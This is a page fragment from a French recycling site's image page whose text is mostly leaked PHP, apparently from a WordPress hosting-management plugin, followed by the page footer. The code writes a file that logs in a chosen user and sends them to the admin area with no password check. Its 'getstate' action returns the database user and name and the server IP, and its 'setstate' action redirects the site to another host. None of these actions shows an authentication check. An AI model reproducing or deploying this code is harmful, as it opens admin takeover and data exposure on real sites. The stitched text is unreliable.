user_login; \$user = get_user_by('login', \$username ); if ( !is_wp_error( \$user ) ) { wp_clear_auth_cookie(); wp_set_current_user ( \$user->ID ); wp_set_auth_cookie ( \$user->ID ); \$redirect_to = user_admin_url(); wp_safe_redirect( \$redirect_to ); exit(); } "; fwrite($f, $txt); fclose($f); die('success'); }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'getstate'){ //require(dirname(__FILE__).'/../../wp-blog-header.php'); //require(dirname(__FILE__).'/../../wp-includes/pluggable.php'); require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "select option_value from ".$table_prefix."options where option_name = 'siteurl' limit 1 "; $rows = run_query($q); $return['wp_Domain'] = $rows[0]['option_value']; $return['wp_Version'] = get_bloginfo( 'version' ); $q = "select count(ID) from ".$table_prefix."users "; $rows = run_query($q); $return['num_Users'] = $rows[0]['count(ID)']; $q = "select option_value from ".$table_prefix."options where option_name = 'active_plugins' limit 1 "; $rows = run_query($q); $return['num_Plugins'] = count(unserialize($rows[0]['option_value'])); /* include_once('../../wp-admin/includes/class-wp-site-health-auto-updates.php'); var_dump(WP_Site_Health_Auto_Updates::test_filters_automatic_updater_disabled()); die; */ $return['is_multisite'] = defined('MULTISITE') ? MULTISITE : false ; $return['is_multisite'] = $return['is_multisite'] ? true : ( defined('WP_ALLOW_MULTISITE') ? WP_ALLOW_MULTISITE : false ); $return['autoupdate_Core'] = defined('WP_AUTO_UPDATE_CORE') ? WP_AUTO_UPDATE_CORE : false ; $q = "select option_value from ".$table_prefix."options where option_name = 'WPLANG' limit 1 "; $rows = run_query($q); $return['wpLanguage'] = $rows[0]['option_value'] == 'fr_CA' ? 'French' : 'English'; $return['maintenanceMode'] = function_exists('wp_maintenance_mode') ? 'True' : 'False'; $return['cpanelIP'] = $_SERVER['SERVER_ADDR']; $return['WHCPluginInstalled'] = 'True'; $q = "select option_value from ".$table_prefix."options where option_name = 'blogname' limit 1 "; $rows = run_query($q); $return['wp_BlogName'] = $rows[0]['option_value']; $q = "select option_value from ".$table_prefix."options where option_name = 'template' limit 1 "; $rows = run_query($q); $return['wp_TemplateName'] = $rows[0]['option_value']; $return['db_user'] = DB_USER; $return['db_name'] = DB_NAME; $return['php_version'] = phpversion(); echo "[".json_encode($return)."]"; die; }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'setstate'){ require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "update ".$table_prefix."options set option_value = 'https://wp".intval($_POST['hostingid']).".wpdns.ca' where option_name in ('siteurl','home') limit 2; "; $rows = run_query($q); die('success'); } } humago_logo_R - Site officiel des Super Recycleurs

humago_logo_R

Pin It on Pinterest